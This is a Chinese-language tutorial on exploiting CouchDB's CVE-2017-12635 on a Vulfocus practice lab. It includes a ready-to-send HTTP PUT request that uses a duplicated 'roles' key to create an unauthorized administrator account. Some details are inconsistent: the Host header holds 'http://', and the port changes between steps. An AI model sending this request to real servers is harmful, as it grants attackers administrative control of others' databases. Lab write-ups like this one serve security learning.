本文仅作为学习参考使用，本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

前言:

前文链接：中间件安全（一）

本文主要讲解Couchdb数据库未授权越权漏洞（CVE-2017-12635）。

靶场链接：Vulfocus 漏洞威胁分析平台

一，靶场界面简介。

可以看到开放了三个端口，尝试后发现，仅http://123.58.224.8:35469 可以打开，打开后界面如下：

并无什么有价值的信息。

点击原始数据后，可以发现确实为Couchdb数据库，并且版本为：2.1.0（注意CVE-2017-12635影响版本：小于 1.7.0 以及 小于 2.1.1）。

访问/_utils目录。

couchdb/_utils目录简介：

可以看到，网页自动跳转到登录界面。

二，进行攻击。

随机输入账号密码并使用bp进行抓包。

可以看到，登录失败。

右键，将其发送到重发器。

本漏洞可以绕过创建权限而去实现任意创建admin权限的账号 实现登录。

使用从数据包，正常新建用户:

POST /_session HTTP/1.1
Host: 123.58.224.8:47926
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

失败。

使用绕过权限数据包：

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: http://123.58.224.8:47926
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 112

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

成功。

使用账号密码（vulhub，vulhub）进行测试。

成功。